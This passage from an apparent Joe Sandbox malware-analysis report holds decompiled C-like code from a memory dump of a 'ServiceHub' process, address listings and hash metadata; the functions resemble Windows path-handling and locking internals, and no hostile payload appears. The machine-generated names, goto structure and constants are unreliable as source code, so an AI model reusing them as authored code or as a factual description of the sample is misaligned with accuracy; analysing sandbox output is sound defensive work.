													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M011C45F8))) {
												case 0:
													_v568 = 0x1181078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x11811c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L011C4620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E011EF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E011EF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E011A52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E011BEB70(1, 0x12979a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E011BAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E011E95D0();
																			L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E011EB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E011E3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E011EB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}















































































                                          0x011c4128
                                          0x011c4135
                                          0x011c413c
                                          0x011c4141
                                          0x011c4145
                                          0x011c4147
                                          0x011c414e
                                          0x011c4151
                                          0x011c4159
                                          0x011c415c
                                          0x011c4160
                                          0x011c4164
                                          0x011c4168
                                          0x011c416c
                                          0x011c417f
                                          0x011c4181
                                          0x011c446a
                                          0x011c446a
                                          0x011c418c
                                          0x011c4195
                                          0x011c4199
                                          0x011c4432
                                          0x011c4439
                                          0x011c443d
                                          0x011c4442
                                          0x011c4447
                                          0x00000000
                                          0x011c419f
                                          0x011c41a3
                                          0x011c41b1
                                          0x011c41b9
                                          0x011c41bd
                                          0x011c45db
                                          0x011c45db
                                          0x00000000
                                          0x011c41c3
                                          0x011c41c3
                                          0x011c41ce
                                          0x011c41d4
                                          0x0120e138
                                          0x0120e13e
                                          0x0120e169
                                          0x0120e16d
                                          0x0120e19e
                                          0x0120e16f
                                          0x0120e16f
                                          0x0120e175
                                          0x0120e179
                                          0x0120e18f
                                          0x0120e193
                                          0x00000000
                                          0x0120e199
                                          0x00000000
                                          0x0120e199
                                          0x0120e193
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c41da
                                          0x011c41da
                                          0x011c41df
                                          0x011c41e4
                                          0x011c41ec
                                          0x011c4203
                                          0x011c4207
                                          0x0120e1fd
                                          0x011c4222
                                          0x011c4226
                                          0x0120e1f3
                                          0x0120e1f3
                                          0x011c422c
                                          0x011c422c
                                          0x011c4233
                                          0x0120e1ed
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c4239
                                          0x011c4239
                                          0x011c4239
                                          0x011c4239
                                          0x011c4233
                                          0x011c4226
                                          0x011c41ee
                                          0x011c41ee
                                          0x011c41f4
                                          0x011c4575
                                          0x0120e1b1
                                          0x0120e1b1
                                          0x00000000
                                          0x011c457b
                                          0x011c457b
                                          0x011c4582
                                          0x0120e1ab
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c4588
                                          0x011c4588
                                          0x011c458c
                                          0x0120e1c4
                                          0x0120e1c4
                                          0x00000000
                                          0x011c4592
                                          0x011c4592
                                          0x011c4599
                                          0x0120e1be
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c459f
                                          0x011c459f
                                          0x011c45a3
                                          0x0120e1d7
                                          0x0120e1e4
                                          0x00000000
                                          0x011c45a9
                                          0x011c45a9
                                          0x011c45b0
                                          0x0120e1d1
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c45b6
                                          0x011c45b6
                                          0x011c45b6
                                          0x00000000
                                          0x011c45b6
                                          0x011c45b0
                                          0x011c45a3
                                          0x011c4599
                                          0x011c458c
                                          0x011c4582
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c41f4
                                          0x011c423e
                                          0x011c4241
                                          0x011c45c0
                                          0x011c45c4
                                          0x00000000
                                          0x011c45ca
                                          0x011c45ca
                                          0x00000000
                                          0x0120e207
                                          0x0120e20f
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011c45d1
                                          0x00000000
                                          0x00000000
                                          0x011c45ca
                                          0x00000000
                                          0x011c4247
                                          0x011c4247
                                          0x011c4247
                                          0x011c4249
                                          0x011c4249
                                          0x011c4249
                                          0x011c4251
                                          0x011c4251
                                          0x011c4257
                                          0x011c425f
                                          0x011c426e
                                          0x011c4270
                                          0x011c427a
                                          0x0120e219
                                          0x0120e219
                                          0x011c4280
                                          0x011c4282
                                          0x011c4456
                                          0x011c45ea
                                          0x00000000
                                          0x011c45f0
                                          0x0120e223
                                          0x00000000
                                          0x0120e223
                                          0x011c445c
                                          0x011c445c
                                          0x00000000
                                          0x011c445c
                                          0x00000000
                                          0x011c4288
                                          0x011c428c
                                          0x0120e298
                                          0x011c4292
                                          0x011c4292
                                          0x011c429e
                                          0x011c42a3
                                          0x011c42a7
                                          0x011c42ac
                                          0x0120e22d
                                          0x011c42b2
                                          0x011c42b2
                                          0x011c42b9
                                          0x011c42bc
                                          0x011c42c2
                                          0x011c42ca
                                          0x011c42cd
                                          0x011c42cd
                                          0x011c42d4
                                          0x011c433f
                                          0x011c433f
                                          0x011c42d6
                                          0x011c42d6
                                          0x011c42d9
                                          0x011c42dd
                                          0x011c42eb
                                          0x0120e23a
                                          0x011c42f1
                                          0x011c4305
                                          0x011c430d
                                          0x011c4315
                                          0x011c4318
                                          0x011c431f
                                          0x011c4322
                                          0x011c432e
                                          0x011c433b
                                          0x011c433b
                                          0x00000000
                                          0x011c432e
                                          0x011c42eb
                                          0x011c434c
                                          0x011c434e
                                          0x011c4352
                                          0x011c4359
                                          0x011c435e
                                          0x011c4361
                                          0x011c436e
                                          0x011c438a
                                          0x011c438e
                                          0x011c4396
                                          0x011c439e
                                          0x011c43a1
                                          0x011c43ad
                                          0x011c43bb
                                          0x011c43bb
                                          0x011c43ad
                                          0x011c436e
                                          0x011c43bf
                                          0x011c43c5
                                          0x011c4463
                                          0x011c4463
                                          0x011c43ce
                                          0x011c43d5
                                          0x011c43d9
                                          0x011c43df
                                          0x011c4475
                                          0x011c4479
                                          0x011c4491
                                          0x011c4491
                                          0x011c4479
                                          0x011c43e5
                                          0x011c43eb
                                          0x011c43f4
                                          0x011c43f6
                                          0x011c43f9
                                          0x011c43fc
                                          0x011c43ff
                                          0x011c44e8
                                          0x011c44ed
                                          0x011c44f3
                                          0x0120e247
                                          0x00000000
                                          0x011c44f9
                                          0x011c4504
                                          0x011c4508
                                          0x011c450f
                                          0x0120e269
                                          0x00000000
                                          0x011c4515
                                          0x011c4519
                                          0x011c4531
                                          0x011c4534
                                          0x011c4537
                                          0x011c453e
                                          0x011c4541
                                          0x011c454a
                                          0x0120e255
                                          0x0120e255
                                          0x0120e25b
                                          0x0120e25e
                                          0x0120e261
                                          0x0120e261
                                          0x011c4555
                                          0x011c4559
                                          0x011c455d
                                          0x0120e26d
                                          0x0120e270
                                          0x0120e274
                                          0x0120e27a
                                          0x0120e27d
                                          0x0120e28e
                                          0x0120e28e
                                          0x011c4563
                                          0x011c4563
                                          0x011c4569
                                          0x011c4569
                                          0x00000000
                                          0x011c455d
                                          0x011c450f
                                          0x00000000
                                          0x011c44f3
                                          0x011c43ff
                                          0x011c4405
                                          0x011c4405
                                          0x011c4405
                                          0x011c42ac
                                          0x011c428c
                                          0x011c4282
                                          0x011c4407
                                          0x011c440d
                                          0x0120e2af
                                          0x0120e2af
                                          0x011c4413
                                          0x011c4413
                                          0x00000000
                                          0x011c41d4
                                          0x00000000
                                          0x011c41c3
                                          0x011c41bd
                                          0x011c4415
                                          0x011c4415
                                          0x011c4416
                                          0x011c4417
                                          0x011c4429
                                          0x011c416e
                                          0x011c416e
                                          0x011c4175
                                          0x011c4498
                                          0x011c449f
                                          0x0120e12d
                                          0x00000000
                                          0x0120e133
                                          0x00000000
                                          0x0120e133
                                          0x011c44a5
                                          0x011c44a5
                                          0x011c44aa
                                          0x00000000
                                          0x011c44bb
                                          0x011c44ca
                                          0x011c44d6
                                          0x011c44d7
                                          0x011c44d8
                                          0x011c44e3
                                          0x011c44e3
                                          0x011c44aa
                                          0x011c417b
                                          0x011c417b
                                          0x011c417b
                                          0x00000000
                                          0x011c417b
                                          0x011c4175
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 80baa581bb0cf12b8abcb6b7dc5e73837dec97bab8b9635673337c90f4034e08
                                          • Instruction ID: 0f056173a6e151677c99ed8ddf86dcbb946ac39f638708c367757556fe45b32b
                                          • Opcode Fuzzy Hash: 80baa581bb0cf12b8abcb6b7dc5e73837dec97bab8b9635673337c90f4034e08
                                          • Instruction Fuzzy Hash: E5F18F706183128FD729CF58C490A7ABBE1FFA8B14F15492EF586C7691E734D881CB52
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D20A0 Relevance: .4, Instructions: 420COMMONCrypto
                                          Download Yara Rule
                                          C-Code - Quality: 92%
                                          			E011D20A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1298714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E011D2EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E011D2EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E011A58EC(_t240);
									_t221 =  *0x1295cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1295cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E011E4A2C(0x1296e40, 0x11e4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E011C7D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1185c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E011DF6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E011DF6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E01227016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L011C2400(_t267 + 0x20);
															}
															L011C2400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E011D2397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E011C2280(_t134, 0x1298608);
									__eflags =  *0x1296e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E011BFFB0(_t198, _t241, 0x1298608);
										__eflags = _t253;
										if(_t253 != 0) {
											L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1296e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1298608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E011D6B90(_t210,  &_v64);
										_t262 =  *0x1298608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E011DE180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E011E97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E011E006A(0x1298608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1298608);
												E011EB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1296904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1296e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E011BFFB0(_t198, _t240, 0x1298608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E011E00C2(0x1298608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}











































































                                          0x011d20a0
                                          0x011d20a8
                                          0x011d20ad
                                          0x011d20b3
                                          0x011d20b8
                                          0x011d20c2
                                          0x011d20c7
                                          0x011d20cb
                                          0x011d20d2
                                          0x011d2263
                                          0x011d2266
                                          0x01215836
                                          0x01215836
                                          0x00000000
                                          0x011d226c
                                          0x011d226c
                                          0x011d2270
                                          0x011d2274
                                          0x011d20e2
                                          0x011d20e2
                                          0x011d20e6
                                          0x011d20ee
                                          0x012157dc
                                          0x012157de
                                          0x012157ec
                                          0x012157ec
                                          0x012157f1
                                          0x012157f3
                                          0x012157f8
                                          0x00000000
                                          0x012157f8
                                          0x012157e0
                                          0x012157e4
                                          0x012157ea
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x012157ea
                                          0x011d20f4
                                          0x011d20f4
                                          0x011d20f8
                                          0x011d20f8
                                          0x011d20fc
                                          0x011d2100
                                          0x011d2106
                                          0x011d2201
                                          0x011d2206
                                          0x011d220b
                                          0x011d220e
                                          0x011d22a9
                                          0x011d22ac
                                          0x00000000
                                          0x00000000
                                          0x011d22b2
                                          0x011d22b5
                                          0x01215801
                                          0x01215806
                                          0x00000000
                                          0x00000000
                                          0x01215810
                                          0x01215815
                                          0x01215818
                                          0x00000000
                                          0x00000000
                                          0x0121581e
                                          0x011d22bb
                                          0x011d22bb
                                          0x011d2218
                                          0x011d2218
                                          0x011d221c
                                          0x011d2220
                                          0x011d2222
                                          0x011d22c2
                                          0x011d22c4
                                          0x011d22dc
                                          0x011d22dc
                                          0x011d22e1
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011d22e7
                                          0x011d22c8
                                          0x011d22cd
                                          0x011d22d3
                                          0x011d22d6
                                          0x01215823
                                          0x01215825
                                          0x01215827
                                          0x00000000
                                          0x00000000
                                          0x0121582d
                                          0x00000000
                                          0x0121582d
                                          0x00000000
                                          0x011d2228
                                          0x011d2228
                                          0x00000000
                                          0x011d2228
                                          0x011d2222
                                          0x011d2214
                                          0x011d2214
                                          0x00000000
                                          0x011d2114
                                          0x011d2114
                                          0x011d2114
                                          0x011d211a
                                          0x011d211c
                                          0x011d2348
                                          0x011d234d
                                          0x01215840
                                          0x01215845
                                          0x01215848
                                          0x0121584e
                                          0x0121584e
                                          0x01215848
                                          0x011d2353
                                          0x011d2355
                                          0x011d2388
                                          0x011d2388
                                          0x011d2368
                                          0x011d236a
                                          0x011d236c
                                          0x011d238f
                                          0x00000000
                                          0x011d236e
                                          0x011d236e
                                          0x011d218e
                                          0x011d218e
                                          0x011d2191
